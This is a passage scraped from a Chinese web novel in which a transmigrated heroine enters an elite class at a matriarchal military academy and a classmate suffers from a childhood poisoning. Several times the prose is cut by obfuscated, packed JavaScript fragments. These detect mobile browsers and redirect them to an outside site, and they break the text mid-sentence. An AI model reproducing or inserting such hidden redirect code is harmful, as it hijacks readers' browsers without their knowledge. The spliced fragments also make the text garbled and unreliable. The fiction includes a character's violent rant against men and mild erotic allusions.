l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121924|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要有充足的兵法底蕴,有远见……” 一旦动笔,思路便源源不断地顺着笔尖流淌下来,毕竟生长在一个拥有几千年历史的国家,学习过那么多杰出将军的历史事迹,这些题目对商茁来说并不算难题。 一炷香后,商茁终于放下了手中的笔,这时她才注意到出题的那位教官已经在她身边站了许久了。 待到墨迹干透后,教官甚至大喇喇地直接把商茁的试卷拿到手中看。 在被另一个教官提示后,出题的教官才不自然地干咳几声,找补道:“不强制待满一个时辰,写完就可以交卷,你可以出去吃饭了。” 就这样,商茁在其他同学还在绞尽脑汁答题时,被教官送出了考场。她站在窗外看了眼还在奋笔疾书的赵国安,又被屋内的教官摆摆手,示意她去一边,无奈之下,商茁只好一个人先去食堂打饭。 今日的食堂格外冷清,坐在凳子上休息的食堂大叔,看到商茁过来时,大老远就热情招呼道:“女郎饿了吧?我这就给您打饭~知道女郎们今日考核,食堂特意给你们做了红烧肉、清蒸鱼、酱肘子……来给你们补充体力~” 给商茁盛了满满一盘的饭菜后,几个食堂大叔都围到了商茁身边,七嘴八舌地问道:“女郎,今日考核难不难?”“是不是很累?”“都考了什么呀?”“考得怎么样啊?” 一个胖胖的大叔笑着说:“人家女郎第一个出来,考得肯定好!哪个状元会嫌题目难的~” 其他几个大叔听到后,纷纷应和道:“对呀~对呀~”“说得没错!”“你瞧瞧这位女郎剑眉星目、一表人才的,一看就是状元之姿!” “咳咳咳……”闻言,正在喝汤的商茁顿时被呛到,她长这么大都没有考过第一名,更别说一群人追着她夸了。商茁捏着筷子的手指顿了顿,耳尖微微发烫,正当她不知道该怎么应对这群热情的大叔时,一开始招呼她的大叔,帮她解了围。 “去去去!人家女郎吃个饭,你们这群泼皮都围着做什么,想献殷勤得再年轻二十岁!” 把人撵走后,大叔又温声对商茁说道:“女郎好好用饭,不够了招呼声,我再给您打份儿~” 商茁感激地对大叔笑笑,“谢谢叔叔。” 吃完饭后,商茁又去帮赵国安打了份饭,就坐在食堂等她出来。没过多久,开始有学员陆陆续续地走入食堂,几个闲聊的食堂大叔顿时忙碌了起来。 商茁眼尖地看到了走到食堂门口的赵国安,便冲对方招手呼喊道:“国安姐!这里!” 赵国安也看到了招手的商茁,笑着走了过来。“阿茁,你考得怎么样?教官说结束考试的时候,我看了眼你的位置,发现没人在,吓了我一跳!” 商茁哈哈大笑,“我刚写完就被教官把试卷收走了,我本来想在门口等你的,可是教官不让,我就来食堂了。” 听到商茁说试卷写完了,赵国安这才松了口气,“那就好,我路上碰到连尧了,听她说,这次考核要是没考好,就要被分到普通营了……” 32. 第 32 章 闻言,商茁呆住了,她以为这不过是一次月考或摸底考,谁能想到这竟然是“高考”!她现在肠子都悔青了!商茁此刻的内心简直万发弹幕齐发:“干嘛要藏拙,军校里人才辈出,谁给你能得第一的自信?梁静茹吗?!这下好了,直接把自己给藏普通营去了……” 看到商茁突然变得凝重的表情,赵国安担心地问:“阿茁你怎么了?” 商茁欲哭无泪地问:“国安姐,咱们军校能补考吗?” 赵国安摇摇头,遗憾地说:“不能。” 商茁挺直的背颓然地弯了下去,她苦涩地说:“国安姐,我可能要去普通营了……” 赵国安拧眉不解地问:“你的策论不是写完了?体测项目我看你发挥得挺好啊。” 商茁趴在桌子上,生无可恋地说:“我感觉我没考好。”原本就是个全力以赴还考得一般的差生,她都不敢想自己有所保留之下,能考成什么样子。 赵国安不知道该如何安慰断言自己没考好的商茁,只好轻轻地拍拍对方的背部,以示安慰。 …… 因为策论的批改需要些时日,所以这段时间学员们还是照常训练。 而商茁每次训练时,脑海里总是忍不住浮现自己被分到普通营,而朋友们都去了其他营的画面。在商茁已经预想了四五种考砸后的场面时,“高考”成绩出来了。 “商茁,二级部,甲班。” “颜岩,二级部,普通营。” “赵国安,二级部,甲班。” 在听到自己名字的后缀不是普通营的时候,商茁愣住——按照过往的考试经验,她还以为自己这次妥妥要去普通营了,没想到竟然能被分到甲班…… 商茁努力控制着微微发颤的手指,她脸上看不到一丝喜悦,生怕自己一笑,幸运就要跑走了。确认傅教官不是读错名单、自己真的考到了甲班,商茁悬着的心终于放下了。明明是好结果,可她却有种莫名想要流泪的冲动,“这大概就是穷人乍富的感受吧?”她在心里默默自嘲道。 把班上所有学员的分班情况宣读一遍后,傅教官抬眸朝台下的学员们望去,这些面容还稍显稚嫩的女孩子们神情各不相同,有的喜笑颜开,有的垂头丧气,有的已经红了眼眶…… 傅教官放柔了语气,向这些和自己朝夕相处了几个月的孩子们传授最后一堂课——宠辱不惊,守心自安。 “同学们,大家马上就要去往不同的训练营了,在此之前,我想和大家分享一件关于我朋友的故事,希望大家从中能得到一些感悟或者启发。” “我的朋友阿巍因为身材瘦小,初到军校时就不被大家看好,甚至有人在赌她什么时候会退学。可让所有人大跌眼镜的是,过了一周、一月、一年,阿巍依然在军校里待得好好的,直到最后顺利结业。你们以为阿巍的故事就此结束了吗?不,这才刚刚开始。” “后来,边境发生了战争,阿巍毅然参军去往了前线。在前线,阿巍从一个小兵,逐渐成为了伍长、百夫长、校尉……” “在一次战役中,阿巍以少胜多,带领两千人击退鞑族三万人。此事被来前线督战的季丞相得知后,便封了她前锋的职位。” 说到这里,学员里已经有人猜到了傅教官说的是谁了。 “教官,您说的朋友是不是沈将军?”一个被分到普通营的女生问道。 傅教官看了她一眼,笑着点点头,“不错,正是大名鼎鼎的沈将军。” “至于阿巍之后的故事,在座的各位应该都已经耳熟能详了。她带领大朝将士们赶走了鞑族,夺回了被鞑族占领多年的燕州,被封为了镇远将军。” 说到这儿,傅教官意味深长地看向台下的学生们,“所以,永远不要放弃自己,你们经历的一切都是起点而非终点。现在分入甲班,并不代表以后就一定能出人头地,普通营也不代表你以后就完了。你会拥有怎样的人生,取决于你自己,在你努力的结果真正到来之前,请放平心态,冷静地面对人生中的不同挑战。” 傅教官的话音刚落,台下便传来学员们如雷般的掌声。 “谢谢教官的指点!” “就算分到了普通营,我也会继续刻苦训练的!” “我一定会努力学习报效国家的!” 原本垂头丧气的学员此时重新抬起了头;红了眼眶的学员,擦干眼泪,眼中又恢复了往日的神采;因得知自己分到天支班的学员,也收起了脸上的得意。 听着台下学员们一个个慷慨激昂地宣告着自己的誓言,傅教官欣慰一笑,朝学员们微微颔首,“各位,一级部的训练课程到此结束。青山不改绿水长流,我们日后再见。” 翌日一大早,商茁和赵国安就背着行囊来到了军校北门。虽然距离甲班通知的集合时间还早,但门口已经站着一两个学员,都是商茁没见过的陌生面孔。 虽然猜到甲班的录取人数可能不多,但是让她惊讶的是整个天干班的要求都颇为严格,她们宿舍只有她和赵国安两人分到了甲班,其他人则是都分到了普通营。 “我是一级部三班的黄海莹,你们都是哪班的?”一个长着双笑眼的女生主动向她们打了招呼。 “一级部二班,商茁。” “一级部二班,赵国安。” “一级部一班,裴方礼。” “哇!商茁和赵国安两人竟然是一个班的!二班的实力太强了!”黄海莹惊呼道。 裴方礼盯着两人看了会儿,突然开口:“我想起来了,你们是代表军校参加马球大赛的学员!” 商茁和赵国安笑着点点头。 黄海莹更加激动了,“太好了!不枉我竭尽全力考到甲班,同班同学都这么厉害!日后还请大家多多指点~”作为一个极度慕强的人,身边被军校精英围绕,黄海莹的心情可谓十分畅快。 几个人闲聊时,其他甲班学员也陆续来到集合地点,最让商茁开心的是,她看到了胡燃!虽说以后大家都是同学,但胡燃既是她的马球队友,如今也是好友,所以看到胡燃和自己一个班时,商茁格外开心。 “阿茁!国安!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145471|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >看到好友后,胡燃眼睛一亮,大步流星地来到商茁她们身边。“我就知道会遇到咱们马球队的!”说着,胡燃伸出手和商茁、赵国安挨个碰了碰拳。 商茁笑道:“你知道马球队其他队员都去了哪班吗?” 胡燃轻叹一声,“齐骥分到了乙班,连尧分到了丙班,其他人应该都是分到了普通营。” 赵国安闻言,神色亦凝重起来。商茁见状,连忙岔开话题:“对了,甲乙丙这几个班到底是干什么的?和普通营有什么不同?” 胡燃解释道:“乙班负责培养骑兵,丙班负责培养弓箭手,普通营则是训练步兵。” 见胡燃没有提到甲班,商茁向她投去了疑惑的眼神。赵国安也看着她,等待胡燃告诉她们甲班的训练方向。 胡燃无声地笑了笑,神情颇为自得,她看了眼四周,压低声音道:“虽然军校没有明说,但甲班是将军的培养班,已经是大家心照不宣的事了。” 还不等她再继续向两位好友普及甲班的特殊性,商茁突然问了句:“沈将军以前也是甲班的吗?” 这次赵国安回答的很快,身为沈将军的头号追随者,她对沈将军的生平事迹早已倒背如流,“不是,沈将军当初被分到了普通营。” 闻言,胡燃脸上的笑意僵住了,她默默地咽下了想要自夸的话。就算再给她贴十张脸皮,她也不好意思拿自己和和战功赫赫、威名远扬的沈将军相提并论,光是想想都觉得是自取其辱。 “吱——呀” 沉重的木门被人打开,发出了令人牙酸的声音。 一个修长的人影从门内走出,看到来人脸上标志性的笑容,商茁几人下意识都笑了出来。 还是熟悉的笑脸,一如既往带着玩世不恭的腔调,“孩子们,大家好~我是你们以后的教官靳光,叫我靳教官或者老靳,都行~” 商茁没想到自己运气这么好,二次分班不光能和国安姐、胡燃一个班,带教教官竟然还是靳教官! “自从来到大朝以后,我好像格外幸运呢~”商茁开心地想到。 靳教官目光朝身前的学员们扫了一圈,清点着人数,待她看到商茁、赵国安、胡燃这几张熟悉的面孔时,眼中的笑意更深了。 发现少了一人。靳教官拍手道:“孩子们,现在列队,我点下名字,让我看看是哪位同学第一天就迟到。” 十个学员迅速站成一排,等待教官点名。叫到“姜雅博”时,全场静悄悄的,没有一个人应声;靳教官又重复了一遍,依旧无人应答,她笑着在姜雅博的名字后做了个标记,“真是个贪睡的孩子啊~看来以后需要对她多多关注了~” 商茁在心里为这位不认识的姜雅博同学默哀了三秒钟,虽然没有见过靳教官发脾气,但她下意识觉得靳教官一定不好惹!心里正吐槽着,商茁商茁不经意间一瞥,瞬间瞪大了双眼。 她死死地盯着靳教官手中的笔,那是——钢笔?!这东西在现代稀松平常,可现在是古代啊!大朝的生产力有这么先进吗?钢笔竟然已经被发明出来了?! 33. 第 33 章 在商茁惊疑未定时,靳教官收起笔,大手一挥,对学员们朗声道:“走吧孩子们~我带你们去看看未来上课的地方。” 沉重的大门后是一条绿荫环绕的大道,两侧种着高大挺拔的松树,虽然三月份的天气依然寒冷,但松树们依然郁郁葱葱,为萧瑟的校园增添一份生机勃勃的绿色。 甲班是单独的一处区域,环境更加清幽,而且有不同训练的场地,用来培养学员们的各项技能。几个甲班学员好奇地打量着训练场上造型奇特的训练器材,恨不得马上就开始训练。 可靳教官只是带她们逛了一圈,便带着众人离开了训练场,见学员们一个个脸上露出失落的表情,靳教官笑道:“不缺这一会儿,从明天开始,你们就要开始为期三个月的高强度的训练,好好享受这最后的休闲时光吧~” 说着,靳教官又带几人来到了宿舍,因为甲班一共也就十一个学员,所以宿舍比较富足,可以两人一间,空间也更加宽敞。 靳教官十分随和地让她们自行决定和谁成为舍友,因为商茁和赵国安两人向来形影不离,自然而然地选择了两人一间,胡燃则是选择了和商茁她们相邻的宿舍,与裴方礼成为了舍友。 在告诉学员们,明天卯时训练场集合后,靳教官便背着手,施施然地离开了。 整理好宿舍后,商茁和赵国安两人决定去尝尝新校区食堂大爹的手艺。路过隔壁宿舍时,商茁停下脚步,上前敲了敲门。 “来了。” 门开后,露出裴方礼那张面无表情的脸。“有事吗?” 商茁喉咙里的话卡壳了一瞬,她顿了顿,笑道:“方礼,胡燃在吗?我们打算去食堂吃午饭,你要一起吗?” 裴方礼侧了侧身,露出屋里的胡燃,声音毫无起伏地说:“我还没整理好,你们去吧。” 看着自己这位仿佛没有情绪的同窗,商茁实在不知道该怎么聊下去,她挠了挠头,干笑道:“呃,这样吗,哈哈,那下次再约吧” 走进屋内,商茁冲聚精会神看书的胡燃喊道:“阿燃,我和国安姐要去食堂,你去不?” 听到有人叫自己,胡燃连忙将手中的书合上,胡乱塞进其他书下面。待她回头看到来人是商茁后,这才松了口气,“吓我一跳,你怎么走路没声啊?” 商茁挑了挑眉,坏笑道:“我可没这功夫~分明是咱们胡女君两耳不闻窗外,一心只读圣贤书啊~” 说着,商茁以迅雷不及掩耳之势,飞速地将胡燃藏起来的书抽了出来。商茁有些不解地看着手中这本名为《排兵布阵》的书,什么兵书能让胡燃看得那么投入? 她随手翻看了几页。 “诶!别看!”胡燃飞扑上前,想要夺回商茁手中的书。 浅浅看了一眼,给了商茁一个大大的震撼,她没想到,一向矜贵高傲的胡燃,竟然会躲在宿舍看小H书,而且看的还是高难度重口味的…… 胡燃将抢回来的书连忙塞进抽屉中,这才整理了下衣服,看向商茁,“咳咳,不是要去食堂吗?走吧。” 说着,头也不回地向门外走去,完全不敢看商茁脸上耐人寻味的表情。 几人一进食堂,就有两个笑容满面的中年男子迎了上来,他们皮肤白净、身材匀称,穿着一身灰色的制服,恭恭敬敬的向她们弯腰行礼。 一瞬间,商茁觉得自己来的不是军校的食堂,而是现代的五星级酒店。 “几位女君要吃点什么?食堂今日做了松鼠鳜鱼、文思豆腐、锅巴虾仁……”左边的男人笑容可掬地说道。 商茁几人点好菜后,两个男人不一会儿便给几人端了过来,“您几位慢用,有什么吩咐随时唤我们~”说完,又向几人行了个礼才低头退下。 这一套“躬匠”精神,就连某岛国人也要自叹弗如。商茁轻声感叹道:“这个食堂的大叔们服务意识简直拉满了,这一个月得开多少工钱,才能做到这种地步啊~” 一旁的赵国安也赞同地点着头。 胡燃不雅地翻了个白眼,对自己两个没见过世面的朋友恨铁不成钢道:“这才哪儿到哪儿?改日我请你们去‘醉笙歌’赏玩一番,那里的仆从才是真的体贴入微又进退有度。听说,她们那儿负责调教人的就是从宫里出来的嬷嬷……” 商茁笑道:“虽然不知道你说的‘醉笙歌’里的仆从服务有多厉害,但是我觉得咱们食堂聘请的这些大叔们,做得已经很好了。” 胡燃嗤笑一声,“别傻了,食堂的这些男人都是些签了死契的仆人!不然他们怎么会这般老实?要我说律法还是对男人太宽容了!本来朝廷怜悯他们生活不易,允许他们做些在后厨帮忙的活计,还倡导军校、文院、衙门这些人多的地方,多聘些家里贫苦的男人,让他们好多赚些银钱。” “谁承想,这些人非得不感恩,反而一门心思地攀龙附凤!最早军校的食堂确实聘过一批外面的男人们,不过,有人心术不正,蓄意勾搭学员,军校里毕竟都是些年轻气盛的女子们,一来二去,还真被他得逞了!被勾搭上的学员纳了他为侍,那个男人一朝麻雀飞枝头,引得其他男人心动不已,纷纷效仿……” “结果就导致军校那段时间很多学员无心训练,整日就净想着和那些贱男人们厮混了。此事被校长得知后,大怒,责令把所有男人辞退,又挑了些退步厉害的学员直接除名,这才算遏制住这股萎靡之风。” “所以,军校现在的后勤人员统一使用的是签了卖身契的仆从,他们是有严格的规定的,如果有人触犯,军校是可以直接将他们处死的。” 听完后,商茁和赵国安两人都是一副心有余悸的样子。 商茁拍了拍胸口,感叹道:“真是一颗老鼠屎坏了一锅粥,幸好军校发现的早,不然好好的军校就要被这些人给祸害完了……” 想到自己一位被男人谋害的好友,胡燃恶狠狠地说:“男人这种东西,就不能对他们太好!就得每天揍他们几顿,把他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167883|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 揍得跟个死狗一样,这样他们就没空想这些祸害人的事儿了。” 商茁听着胡燃有些极端的话,心里有些不赞同,她虽然也很厌恶这些心思深沉的男人,但不能以偏概全,不管那个国家、什么性别,都有好人和坏人,不能因为几个人的错误,就要把所有同性别的人都一棍子打死。 虽不好直接反驳,但商茁不想让胡燃继续愤怒下去,极端的情绪会让人失了理智。灵机一动,商茁笑着调侃道:“怎么揍?就像你书里那样——将他衣物褪尽,双手缚其身后,用一指宽的皮鞭抽上去,雪肤立绽红梅?又或者,手入衣内拨弄几下,待笔竖起,那红绳缠绕……” 闻言,胡燃的咒骂声戛然而止,她探身过来,作势要捂商茁的嘴,“你这个臭小子!偷看我书我还没找你算账呢!竟还敢白日宣、宣……”说到这里,胡燃顿住了,书是她的,骂商茁跟骂她自己差不多。 商茁见她不吭声了,便不再躲闪,笑着打趣道:“燃姐怎地不说话了?白日宣宣是何意啊?怎么我从未听说过?” 胡燃收回手,冷哼一声,“我大人有大量,不跟你一般见识,吃饭!” 经商茁这么一闹,胡燃也不再提自己的“训狗之法”了,两人又重新坐下开始吃饭。而一旁的赵国安则是全程懵圈,不管是商茁说的什么皮鞭绽红梅,还是胡燃说的白日宣宣,她都没听懂是什么意思。不过她这人没什么好奇心,想不通的事就不想了,于是她又叫了一碗饭,和商茁她们一起继续干饭。 还没吃两口,胡燃还是没忍住,探过头来,压低声音对商茁说:“茁啊,不是姐小气,这书不是你这种童子身的小白该看的,待我回家后,给你找几本基础款的,今日这书你就忘了吧……” 商茁看着胡燃一副鬼鬼祟祟又语重心长的样子,差点没忍住把饭喷她脸上,合着这姐们儿以为她是想要看小黄书所以才背诵书上的内容。 “嗯嗯。”商茁把脸都憋红了,才将笑意忍了回去。 吃过饭后,三人朝校场走去,路上碰到了一个身材瘦削、面色青白的女郎,两个壮硕的侍女牢牢地搀扶着她,她们去的正是宿舍方向。 商茁摸了摸下巴,有些犹豫地说:“这也是甲班的学员?” 赵国安面带疑惑,“她会不会就是姜雅博同学?她这是……生病了?” 两人看向迟迟未说话的胡燃,“阿燃,你怎么了?” 胡燃收回目光,眼中满是复杂的情绪,她想了想开口道:“你们两个说的都对,她就是今天迟到的姜雅博,我们甲班的同学。” 想到对方的遭遇,胡燃叹了口气,“唉,说出来你们都不相信,别看她这样,她可是少见的高等阈值。” 商茁瞪大双眼,有些不敢置信地问:“不是说阈值越高,身体就越强健吗?那,姜同学怎么会……” 胡燃眼中既有种感同身受的心疼、又夹杂着强烈的痛恨,她摆摆手,“唉,回头让她自己告诉你们吧。” 34. 第 34 章 未时一刻,靳教官再次点名的时候,上午一直没露面的姜雅博此时来到了校场,不过这次她没有带那两个壮硕的侍女,而是独自前来。 虽然身材单薄,但她脊背挺得很直。姜雅博向靳教官行了个标准的军礼,开口字正腔圆:“报告教官,学员姜雅博,申请归队。” 胡燃看着这位儿时的同窗,眼神微动,她不明白,对方刚才连走路都需要人搀扶,为什么还要坚持到校场。明明她自己也知道,就算来到校场,她的身体状况也是无法训练的啊…… 靳教官上午从校长那里得知了姜雅博的情况,此刻看到这位身残志坚的学生目露不忍。明明是大朝少有的高等阈值,可她现在身体却虚弱的连低等阈值的女子都不如。 “归队吧。”靳教官没有多说什么,只是示意姜雅博站到队尾。 姜雅博快步向队尾走去,只是这短短的路程,就让她额头冒汗,嘴唇发白。她早上并非有意迟到,更不是贪睡起晚了,而是体内的剧毒发作了,根本无法行动。 作为开国六大元勋姜家现任家主的独女,姜雅博一出生便是万众瞩目的存在,而她也不负众望,从小就天资聪颖,三岁识千字、四岁能作诗…… 可偏偏命运弄人,在姜雅博七岁的时候,被她母亲的正夫下了一种名为“缠骨丝”的毒药。这种毒药初期毫无症状,可时间久了,毒药便如一条条跗骨之蛆,牢牢地缠绕在人的骨血中,发作时骨头更是如同被人捏碎了一般,直至将人活活痛死。 因这种毒药早已失传,而且表现症状和其他中毒状况根本不同,所以很少有大夫能识得出患者是中毒了。 因姜母主对女儿向来看重,在姜雅博被下毒不久后她便发现女儿有些异状。小雅博总是会莫名扣挠自己的手肘、膝盖等关节处,而且食欲不振,可不管换了多少个大夫,都说小雅博并无大碍,种种迹象皆是因为小雅博正在长身体,甚至有的大夫说是因为小雅博调皮,故意做出这样的举动,吸引大人目光…… 可姜母却不相信,身为母亲的只觉告诉她,自己的孩子已经身处危险,她要尽快找出导致女儿异常的原因。 在动用了姜家一切力量后,终于在一个偏远小镇上搜罗到的一本古籍中,姜母找到了女儿异常的原因——不是因为长身体、更不是因为女儿调皮,而是她中毒了! 这个发现让姜母不寒而栗,有人竟敢当在她的眼皮底下毒害她的孩子! 因古籍中并未记载“缠骨丝”的解药是什么,她们只能寄希望于下毒人那里有解药。为了不打草惊蛇,姜母暗中命令暗卫在整个姜家仔细搜查,看凶手有没有暴露什么蛛丝马迹。 在一番掘地三尺的搜寻中,暗卫在姜府后花园的老树下挖出一个蓝色的小瓷瓶,里面残留的药粉,经人检查和古籍中描述的“缠骨丝”一模一样。 拿到证据后,姜母吩咐下去,姜家即刻封府,任何人不得出入,整个姜家的女男老少、主子、仆从,全部都要挨个审讯。 在对姜家所有人进行过一番严苛审讯后,最终所有的证据指向了一个人——姜母那个向来温柔和善的正夫。 事情败漏后,正夫不再继续伪装成贤夫良父的模样了,他形容癫狂、歇斯底里地朝姜母大喊道:“我只是想要个属于我自己的孩子有错吗?!齐文州那个贱人不过是个小侍,凭什么他可以有自己的孩子!” 说着,他又连滚带爬地扑向姜母脚边,攥着她的衣摆哀戚地哭诉:“妻主,我们俩个都还年轻,雅博没了,咱们可以再生一个啊!我们二人的孩子一定会更加聪慧优秀的!” 与大多数认为多子多福的其他勋贵世家不同,姜家历代皆是奉行优育单传的原则。姜家的祖先认为,一个精心培养的孩子,胜过十个重生轻养的孩子,所以定下了一条规矩:“凡姜家家主,一生只能生养一个女儿,更是要举全族之力尽心培养孩子成才。” 这条铁令,让姜家在皇室更迭了几代皇帝后,仍位居功勋之首的位置。就是因为姜家的每一任家主都是家族倾力培养出来的,她们学识和眼光远远超越了其他勋贵家的掌权人。正是因为有能力出众的掌舵人带领,所以姜家这艘巨轮才能一直稳稳向前进着。 不管正夫如何巧言令色,哭得多么可怜,但姜母从始至终冷眼旁观,不置一词。在确认正夫就是给女儿下毒之人后,他在姜母的心中和死人已经没什么两样了。 想到女儿身上的“缠骨丝”,姜母按捺住所有的怒火,她蹲下身,捏着正夫的下巴,冷声问道:“‘缠骨丝’是谁给你的?解药呢?” 事到如今,正夫也明白了姜母是绝对不会放过他的,既然活不成了,他索性破罐子破摔,“‘缠骨丝’是没有解药的,要是有的话,妻主您也不会来找我了~” 说着,他摸了摸自己的小腹处,冲姜母暧昧一笑:“解药我给不了您~但……您想要孩子的话,我可以赔您一个~” 闻言,姜母怒不可遏,她掐着正夫的脖子将他提了起来,声音里满是嗜血之气,“你最好祈求我能尽快找到解药,不然,我要你们卫氏满门给我的女儿陪葬!” 直到正夫翻着白眼,出气多进气少时,姜母这才松了手,将他扔到地上。 为了救治女儿,姜母先是对外发布了一则寻医问药的悬赏,上面写明了寻找能医治“缠骨丝”或有“缠骨丝”解药之人,赏金高达五百两。 而后,姜母又上书朝廷,希望皇帝能够派遣太医院中的顶级医官们,来姜府为女儿探寻解毒之法。同时,姜母表达了对卫家的深恶痛绝,认为是卫家管教不严,才导致出了正夫这样心狠手辣之人,要求卫家一众女人全部停职,在女儿患毒期间,整个卫家全部禁足,如果女儿有三长两短,她要求卫家满门偿命。 此话一出,震惊朝野。 当时身为皇帝宠臣的季丞相却站出来表示赞成,并表示,就算姜家女君最后毒解了,但姜母正夫仍要处以极刑,卫家众人要打板子流放,这样才能以儆效尤,防微杜渐。 有人提出质疑后,还不等姜母反驳,就被季丞相言辞厉色地骂回去:“李大人这么紧张,难不成‘缠骨丝’是你给那毒夫的?还是说,你家男儿也如同那毒夫一般?你生怕步了卫大人的后尘?” 一顶顶大帽子盖过来,把那位李大人压得心惊肉跳,连忙摇头解释道:“下官刚才只是没听明白,经丞相一番点拨,现下就明了了,还望丞相不要见怪!” 其他人心知肚明,此事得到丞相的支持,就已经是板上钉钉的事了。果然,高位上的皇帝大手一挥,批准了姜母的所有请求。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178066|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自从发布悬赏后,姜府整日门庭若市,各种自称能解“缠骨丝”的人,络绎不绝地登门求见。 本着不放弃一丝能救女儿的希望,姜母下达了凡是医者,皆请入府内的命令。可来来往往百十余人,却没有一个是真的能解“缠骨丝”的。 就在姜母看着女儿身体日渐虚弱,心生绝望之际,门房通传,一位自称能压制“缠骨丝”毒性的人求见。 这段时日来姜府求见之人,无一不声称自己会解“缠骨丝”或者有其解药的,第一次听说可以压制“缠骨丝”毒性的。虽然被骗了这么多次,可姜母仍是让门房把人请了进来,她不想错过任何可以给女儿解毒的机会。 来人是一个满头银发,佝偻着背的老婆婆,她浑浊的眼睛看向姜母,淡淡开口:“姜大人,在告诉你解毒的方法前,我需要先见见中毒的姜女君,毕竟,我这解毒方法可不是谁都能用的。” 老妪倨傲的态度和无理的要求并没有激怒姜母,反而,她的直觉告诉她,这个老妪就是能帮助她的人。 姜母点点头,十分客气地指引老妪向女儿的院子走去。 刚走到院子,就见院中齐刷刷的站着一排下人,她们此刻皆是面带忧色、一脸紧张,特别是女儿的两个贴身侍女,两人已是泪流满面。 姜母心头一紧,直到女儿身体内的“缠骨丝”又发作了。每次毒发时,女儿都会让下人们出去,不肯将自己的痛苦狼狈的模样展现在众人面前。 见老妪不管不顾地往屋子里走去,姜母急忙跟上,两人在姜雅博的房门前停下。门没有关紧,老妪从门缝中看到一个小女孩像一个虾子一样蜷缩在床上,她此刻满头大汗,脸色苍白,双手紧紧地攥床单,能看出她正在承受着股巨大的痛苦,可她却死死地咬着唇瓣,不愿意发出一丝痛呼。 看到这里,老妪就知道,这个小女孩肯定能承受得住她的解毒之法。 后来老妪才告诉姜母,她其实也是身负“缠骨丝”之毒。这种毒原本无解,只是她在外游历时,意外遇到一株名叫“百草枯”的蓝色小花,此花十分霸道,花开时周遭三尺寸草不生。 老妪见此便想到了制作“缠骨丝”的乌丝草,在她的多次试验后,她终于制作出能够克制“缠骨丝”的药了。可是因为“百草枯”也是一种毒药,吃下后,就相当体内同时存在两种毒素。它们互相压制后,中毒人的性命虽然能保住,但每时每刻都要承受着如骨裂般的痛楚,而且每月都要经历一次仿佛整个人被碾碎的痛苦。如果不是意志坚定的人,根本承受不住。 在姜母把所有的副作用都告诉七岁的姜博雅后,小小的孩童依然选择了吃下“百草枯”,她告诉母亲,她想活下去,不管是经历怎样的痛苦,她都想活下去。 就这样,姜博雅从七岁到二十岁,无时无刻不在承受着巨大的痛楚,可她依然没有后悔当初的选择。 这些往事,姜雅博从未对人提起,她只是默默地咀嚼着命运给她的磨难,然后继续往前走。 刚走到队尾,突然一股钻心的痛楚再次袭来,姜雅博踉跄几步,差点没站稳,多亏一双有力的手扶住了她。 “姜同学,你怎么了?” 姜雅博缓过神,抬眼对上了一双清澈明亮的眼睛,此刻眼睛中盛满了对她的关心。 35. 第 35 章 “姜同学,你没事吧?”商茁担心地问道。 在靳教官和其他学员还没反应过来时,胡燃飞快地冲了过来。她一把揽住姜雅博,脸上满是担忧,可开口却是责备:“你明知道自己身体这么虚弱,干嘛非要来训练?!” 听到胡燃的训斥,姜雅博嘴角却泛起一抹淡笑。她和胡燃认识这么多年,每次相见,对方都是一副趾高气扬的小孔雀模样,第一次看到她惊慌失措的样子。 站直身体后,姜雅博朝胡燃道谢:“阿燃,多谢。” 见她能自己站稳后,胡燃这才松开了手,拽拽地开口:“真想谢我,就回去休息!又没人逼你训练……” 没等她说完,姜雅博的目光便越过了她,看向身后的商茁,“这位同学,多谢你刚才扶住了我。” 商茁连忙摆摆手,“不用客气,都是同学。只是,我看姜同学脸色有点差,你要不要先休息下?靳教官人很好的,肯定会批准的。” “多谢夸奖~不过现在是训练时间,还不到闲聊的时候~”说着,靳教官走过来给商茁和胡燃一人一个脑瓜崩。 “胡燃学员,这次看在你救同窗心切的份儿上就不罚你了,下次再敢毫无纪律,自行离队,决不轻饶!”靳教官冲她摆摆手,“归队吧。” “是,教官!”胡燃站定,向靳教官行了个军礼。 归队前,胡燃脸色不虞地瞪了姜雅博一眼,她就不该多管闲事!说不定人家天才就喜欢摔跤呢!哼!竟然敢无视她! 靳教官把姜雅博搀到自己身边,然后便向其他学员下达了训练任务。在其他学员开始热火朝天的训练后,靳教官侧身向姜雅博问道:“小姜啊,你为什么会选择军校?据我所知,你的文测成绩非常好,文院校长甚至亲自邀请过你去文院。” 